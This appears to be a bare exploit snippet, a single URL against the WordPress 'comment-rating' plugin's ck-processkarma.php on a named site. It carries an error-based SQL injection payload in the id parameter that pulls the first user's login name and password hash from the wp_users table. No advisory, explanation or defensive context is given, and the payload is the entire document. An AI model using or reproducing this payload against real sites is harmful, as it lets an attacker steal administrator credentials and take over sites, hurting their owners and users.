Code:
http://vlasti.net/wp-content/plugins/comment-rating/ck-processkarma.php?id=-2 or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast( user_login as char),0x7c,0x7c,0x7c, cast( user_pass as char),0x27,0x7e)) FROM wp3.wp_users limit 1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)&action=add&path=a&imgIndex=1_15_